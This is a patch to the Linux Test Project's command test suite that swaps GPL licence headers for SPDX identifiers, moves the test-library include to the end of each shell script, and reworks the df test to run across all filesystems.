-#    Copyright (C) 2009, Cisco Systems Inc.
-#    Copyright (C) 2010, Linux Test Project.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Copyright (C) 2010, Linux Test Project.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../..
 
diff --git a/testcases/commands/ar/Makefile b/testcases/commands/ar/Makefile
index 05a9080..52b43cc 100644
--- a/testcases/commands/ar/Makefile
+++ b/testcases/commands/ar/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/ade/ar testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/ar/ar01.sh b/testcases/commands/ar/ar01.sh
index b4af622..943944d 100644
--- a/testcases/commands/ar/ar01.sh
+++ b/testcases/commands/ar/ar01.sh
@@ -13,8 +13,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="$AR"
 
-. tst_test.sh
-
 setup()
 {
 	MOD=
@@ -348,4 +346,5 @@
 	ROD rm -f lib.a file2.in
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/cp/Makefile b/testcases/commands/cp/Makefile
index f71e9f3..22a950a 100644
--- a/testcases/commands/cp/Makefile
+++ b/testcases/commands/cp/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/fileutils/cp testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/cp/cp_tests.sh b/testcases/commands/cp/cp_tests.sh
index 9a6590e..7ca457f 100755
--- a/testcases/commands/cp/cp_tests.sh
+++ b/testcases/commands/cp/cp_tests.sh
@@ -10,7 +10,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=setup
 TST_NEEDS_TMPDIR=1
-. tst_test.sh
 
 create_tree()
 {
@@ -91,4 +90,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/cpio/Makefile b/testcases/commands/cpio/Makefile
index 55a8912..09da3a0 100644
--- a/testcases/commands/cpio/Makefile
+++ b/testcases/commands/cpio/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/cpio testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/cpio/cpio_tests.sh b/testcases/commands/cpio/cpio_tests.sh
index a98b7ec..458c213 100755
--- a/testcases/commands/cpio/cpio_tests.sh
+++ b/testcases/commands/cpio/cpio_tests.sh
@@ -8,8 +8,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="cpio"
 TST_SETUP="setup"
-. tst_test.sh
-
 
 setup()
 {
@@ -47,4 +45,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/df/Makefile b/testcases/commands/df/Makefile
index e1a38c8..2787bb4 100644
--- a/testcases/commands/df/Makefile
+++ b/testcases/commands/df/Makefile
@@ -1,23 +1,6 @@
-#
-#    commands/df testcases Makefile.
-#
-#    Copyright (c) 2015 Fujitsu Ltd.
-#    Author:Zhang Jin <jy_zhangjin@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015 Fujitsu Ltd.
+# Author:Zhang Jin <jy_zhangjin@cn.fujitsu.com>
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/df/df01.sh b/testcases/commands/df/df01.sh
index b821452..ae0449c 100755
--- a/testcases/commands/df/df01.sh
+++ b/testcases/commands/df/df01.sh
@@ -1,45 +1,21 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2015 Fujitsu Ltd.
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Author: Zhang Jin <jy_zhangjin@cn.fujitsu.com>
 #
 # Test df command with some basic options.
 
+TST_ALL_FILESYSTEMS=1
+TST_MOUNT_DEVICE=1
 TST_CNT=12
 TST_SETUP=setup
-TST_CLEANUP=tst_umount
 TST_TESTFUNC=test
-TST_OPTS="f:"
-TST_USAGE=usage
-TST_PARSE_ARGS=parse_args
 TST_NEEDS_ROOT=1
-TST_NEEDS_DEVICE=1
-. tst_test.sh
-
-usage()
-{
-	cat << EOF
-usage: $0 [-f <ext2|ext3|ext4|vfat|...>]
-
-OPTIONS
--f	Specify the type of filesystem to be built.  If not
-	specified, the default filesystem type (currently ext2)
-	is used.
-EOF
-}
-
-TST_FS_TYPE=ext2
-
-parse_args()
-{
-	TST_FS_TYPE="$2"
-}
 
 setup()
 {
-	tst_mkfs
-	tst_mount
-	DF_FS_TYPE=$(mount | grep "$TST_DEVICE" | awk 'NR==1{print $5}')
+	DF_FS_TYPE="$(grep -E "$TST_MNTPOINT ($TST_FS_TYPE|fuseblk)" /proc/mounts | awk 'NR==1{print $3}')"
 }
 
 df_test()
@@ -57,7 +33,7 @@
 		return
 	fi
 
-	ROD_SILENT dd if=/dev/zero of=mntpoint/testimg bs=1024 count=1024
+	ROD_SILENT dd if=/dev/zero of=$TST_MNTPOINT/testimg bs=1024 count=1024
 
 	df_verify $cmd
 
@@ -68,7 +44,7 @@
 		tst_res TFAIL "'$cmd' failed."
 	fi
 
-	ROD_SILENT rm -rf mntpoint/testimg
+	ROD_SILENT rm -rf $TST_MNTPOINT/testimg
 
 	# flush file system buffers, then we can get the actual sizes.
 	sync
@@ -93,20 +69,25 @@
 df_check()
 {
 	if [ "$(echo $@)" = "df -i -P" ]; then
-		local total=$(stat -f mntpoint --printf=%c)
-		local free=$(stat -f mntpoint --printf=%d)
+		local total=$(stat -f $TST_MNTPOINT --printf=%c)
+		local free=$(stat -f $TST_MNTPOINT --printf=%d)
 		local used=$((total-free))
 	else
-		local total=$(stat -f mntpoint --printf=%b)
-		local free=$(stat -f mntpoint --printf=%f)
+		local total=$(stat -f $TST_MNTPOINT --printf=%b)
+		local free=$(stat -f $TST_MNTPOINT --printf=%f)
 		local used=$((total-free))
-		local bsize=$(stat -f mntpoint --printf=%s)
+		local bsize=$(stat -f $TST_MNTPOINT --printf=%s)
 		total=$((($total * $bsize + 512)/ 1024))
 		used=$((($used * $bsize + 512) / 1024))
 	fi
 
-	grep ${TST_DEVICE} output | grep -q "${total}.*${used}"
+	grep $TST_DEVICE output | grep -q "${total}.*${used}"
 	if [ $? -ne 0 ]; then
+		echo "total: ${total}, used: ${used}"
+		echo "df saved output:"
+		cat output
+		echo "df output:"
+		$@
 		return 1
 	fi
 }
@@ -133,7 +114,7 @@
 
 test5()
 {
-	df_test "df -t ${DF_FS_TYPE}"
+	df_test "df -t $DF_FS_TYPE"
 }
 
 test6()
@@ -143,7 +124,7 @@
 
 test7()
 {
-	df_test "df -v ${TST_DEVICE}"
+	df_test "df -v $TST_DEVICE"
 }
 
 test8()
@@ -180,14 +161,16 @@
 
 test12()
 {
-	local cmd="df -x ${DF_FS_TYPE} -P"
+	local fs="$DF_FS_TYPE"
+
+	local cmd="df -x $fs -P"
 
 	df_verify $cmd
 	if [ $? -ne 0 ]; then
 		return
 	fi
 
-	grep ${TST_DEVICE} output | grep -q mntpoint
+	grep $TST_DEVICE output | grep -q $TST_MNTPOINT
 	if [ $? -ne 0 ]; then
 		tst_res TPASS "'$cmd' passed."
 	else
@@ -195,4 +178,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/du/Makefile b/testcases/commands/du/Makefile
index c166446..04ac742 100644
--- a/testcases/commands/du/Makefile
+++ b/testcases/commands/du/Makefile
@@ -1,22 +1,6 @@
-#
-# commands/du testcases Makefile.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2015 Fujitsu Ltd.
 # Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License along
-# with this program; if not, write to the Free Software Foundation, Inc.,
-# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/du/du01.sh b/testcases/commands/du/du01.sh
index 1f0df95..7977fd4 100755
--- a/testcases/commands/du/du01.sh
+++ b/testcases/commands/du/du01.sh
@@ -10,12 +10,11 @@
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="dd du stat"
-. tst_test.sh
 
 setup()
 {
 	ROD_SILENT mkdir basedir
-	ROD_SILENT cd basedir
+	cd basedir || tst_brk TBROK "cd basedir failed"
 
 	ROD_SILENT dd if=/dev/zero of=testfile bs=1M count=10
 
@@ -28,6 +27,9 @@
 	# BLOCKSIZE environment variables. Here we need to
 	# set DU_BLOCK_SIZE to 1024 to ensure the result is expected.
 	export DU_BLOCK_SIZE=1024
+
+	# Some subtests are language dependent
+	export LC_ALL=C
 }
 
 du_test()
@@ -108,4 +110,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/eject/Makefile b/testcases/commands/eject/Makefile
index d805ac5..f33b511 100644
--- a/testcases/commands/eject/Makefile
+++ b/testcases/commands/eject/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/eject testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/eject/eject-tests.sh b/testcases/commands/eject/eject-tests.sh
index 299b9fa..7b916cf 100755
--- a/testcases/commands/eject/eject-tests.sh
+++ b/testcases/commands/eject/eject-tests.sh
@@ -13,7 +13,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="eject"
-. tst_test.sh
 
 setup()
 {
@@ -144,4 +143,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/file/Makefile b/testcases/commands/file/Makefile
index 776db32..9067304 100644
--- a/testcases/commands/file/Makefile
+++ b/testcases/commands/file/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/ade/file testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/file/file01.sh b/testcases/commands/file/file01.sh
index ff1e081..df152b6 100755
--- a/testcases/commands/file/file01.sh
+++ b/testcases/commands/file/file01.sh
@@ -13,8 +13,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="readelf"
 
-. tst_test.sh
-
 setup()
 {
 	case $(readelf -h /bin/sh) in
@@ -90,4 +88,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/gdb/Makefile b/testcases/commands/gdb/Makefile
index 1ebbf65..80967e8 100644
--- a/testcases/commands/gdb/Makefile
+++ b/testcases/commands/gdb/Makefile
@@ -1,21 +1,5 @@
-#
-#    misc/gdb test suite Makefile.
-#
-#    Copyright (C) 2017 Red Hat, Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-#    General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, see <http://www.gnu.org/licenses/>.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2017 Red Hat, Inc.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/gdb/gdb01.sh b/testcases/commands/gdb/gdb01.sh
index 04259c5..24acb98 100755
--- a/testcases/commands/gdb/gdb01.sh
+++ b/testcases/commands/gdb/gdb01.sh
@@ -8,8 +8,6 @@
 TST_TESTFUNC=simple_test
 TST_NEEDS_CMDS="gdb /bin/cat"
 
-. tst_test.sh
-
 simple_test()
 {
 	gdb /bin/cat -ex "run /etc/passwd" -ex quit < /dev/null
@@ -21,4 +19,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/gzip/Makefile b/testcases/commands/gzip/Makefile
index 502781b..cb6f219 100644
--- a/testcases/commands/gzip/Makefile
+++ b/testcases/commands/gzip/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/gzip testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/gzip/gzip_tests.sh b/testcases/commands/gzip/gzip_tests.sh
index f4e3366..fdc933e 100755
--- a/testcases/commands/gzip/gzip_tests.sh
+++ b/testcases/commands/gzip/gzip_tests.sh
@@ -14,7 +14,6 @@
 TST_TESTFUNC=test
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="gzip gunzip"
-. tst_test.sh
 
 creat_dirnfiles()
 {
@@ -149,4 +148,5 @@
 	ROD_SILENT rm -rf tst_gzip.tmp/
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/insmod/Makefile b/testcases/commands/insmod/Makefile
index e5e68b6..ad30b15 100644
--- a/testcases/commands/insmod/Makefile
+++ b/testcases/commands/insmod/Makefile
@@ -1,17 +1,6 @@
-#
-#    Copyright (c) 2016 Fujitsu Ltd.
-#    Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016 Fujitsu Ltd.
+# Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 
 ifneq ($(KERNELRELEASE),)
 
diff --git a/testcases/commands/insmod/insmod01.sh b/testcases/commands/insmod/insmod01.sh
index e7c3d6f..1881ba3 100755
--- a/testcases/commands/insmod/insmod01.sh
+++ b/testcases/commands/insmod/insmod01.sh
@@ -10,7 +10,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="rmmod insmod"
 TST_NEEDS_MODULE="ltp_insmod01.ko"
-. tst_test.sh
 
 inserted=0
 
@@ -46,4 +45,5 @@
 	tst_res TPASS "insmod passed"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/keyctl/Makefile b/testcases/commands/keyctl/Makefile
index 144beed..a4c740e 100644
--- a/testcases/commands/keyctl/Makefile
+++ b/testcases/commands/keyctl/Makefile
@@ -1,19 +1,6 @@
-#
-#    commands/keyctl testcases Makefile.
-#
-#    Copyright (c) 2017 Fujitsu Ltd.
-#    Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2017 Fujitsu Ltd.
+# Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/keyctl/keyctl01.sh b/testcases/commands/keyctl/keyctl01.sh
index 0858b68..7b357a7 100644
--- a/testcases/commands/keyctl/keyctl01.sh
+++ b/testcases/commands/keyctl/keyctl01.sh
@@ -18,7 +18,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="keyctl"
-. tst_test.sh
 
 check_keyctl()
 {
@@ -109,4 +108,5 @@
 	tst_res TPASS "Bug not reproduced"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/ld/Makefile b/testcases/commands/ld/Makefile
index a4117c8..b1bab5f 100644
--- a/testcases/commands/ld/Makefile
+++ b/testcases/commands/ld/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/ade/ld testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/ld/ld01.sh b/testcases/commands/ld/ld01.sh
index 0a598ec..c8ba4fc 100755
--- a/testcases/commands/ld/ld01.sh
+++ b/testcases/commands/ld/ld01.sh
@@ -14,7 +14,6 @@
 TST_SETUP=setup
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="$CC $LD"
-. tst_test.sh
 
 setup()
 {
@@ -78,4 +77,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/ldd/Makefile b/testcases/commands/ldd/Makefile
index 1afd3da..fca29bb 100644
--- a/testcases/commands/ldd/Makefile
+++ b/testcases/commands/ldd/Makefile
@@ -1,20 +1,6 @@
-#
-#    commands/ade/ldd testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/ldd/ldd01.sh b/testcases/commands/ldd/ldd01.sh
index 8d7965a..1f5a757 100755
--- a/testcases/commands/ldd/ldd01.sh
+++ b/testcases/commands/ldd/ldd01.sh
@@ -8,7 +8,6 @@
 TST_CNT=2
 TST_SETUP=setup
 TST_TESTFUNC=test
-. tst_test.sh
 
 LDD=${LDD:=ldd}
 
@@ -39,4 +38,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/ln/Makefile b/testcases/commands/ln/Makefile
index c32fe5c..f9e93a5 100644
--- a/testcases/commands/ln/Makefile
+++ b/testcases/commands/ln/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/fileutils/ln testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/ln/ln_tests.sh b/testcases/commands/ln/ln_tests.sh
index ecf7bf5..5bcf827 100755
--- a/testcases/commands/ln/ln_tests.sh
+++ b/testcases/commands/ln/ln_tests.sh
@@ -10,7 +10,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=setup
 TST_NEEDS_TMPDIR=1
-. tst_test.sh
 
 setup()
 {
@@ -78,4 +77,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/lsmod/Makefile b/testcases/commands/lsmod/Makefile
index 8fc3b14..4df27ad 100644
--- a/testcases/commands/lsmod/Makefile
+++ b/testcases/commands/lsmod/Makefile
@@ -1,17 +1,6 @@
-#
-#    Copyright (c) 2015 Fujitsu Ltd.
-#    Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015 Fujitsu Ltd.
+# Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 
 ifneq ($(KERNELRELEASE),)
 
diff --git a/testcases/commands/lsmod/lsmod01.sh b/testcases/commands/lsmod/lsmod01.sh
index 38182a6..8b7a0a7 100755
--- a/testcases/commands/lsmod/lsmod01.sh
+++ b/testcases/commands/lsmod/lsmod01.sh
@@ -11,7 +11,6 @@
 TST_TESTFUNC=lsmod_test
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="lsmod"
-. tst_test.sh
 
 module_inserted=
 
@@ -82,4 +81,5 @@
 	tst_res TFAIL "'lsmod' doesn't match /proc/modules output"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/mkdir/Makefile b/testcases/commands/mkdir/Makefile
index 285a3a2..9eae51a 100644
--- a/testcases/commands/mkdir/Makefile
+++ b/testcases/commands/mkdir/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/fileutils/mkdir testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/mkdir/mkdir_tests.sh b/testcases/commands/mkdir/mkdir_tests.sh
index 0e88a83..c0a570e 100755
--- a/testcases/commands/mkdir/mkdir_tests.sh
+++ b/testcases/commands/mkdir/mkdir_tests.sh
@@ -9,7 +9,6 @@
 TST_SETUP=setup
 TST_TESTFUNC=test
 TST_NEEDS_TMPDIR=1
-. tst_test.sh
 
 setup()
 {
@@ -50,4 +49,5 @@
 	ROD rm -rf "$LONG_PATH"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/mkfs/Makefile b/testcases/commands/mkfs/Makefile
index 6099017..e399d72 100644
--- a/testcases/commands/mkfs/Makefile
+++ b/testcases/commands/mkfs/Makefile
@@ -1,19 +1,6 @@
-#
-#    commands/mkfs testcases Makefile.
-#
-#    Copyright (c) 2015 Fujitsu Ltd.
-#    Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
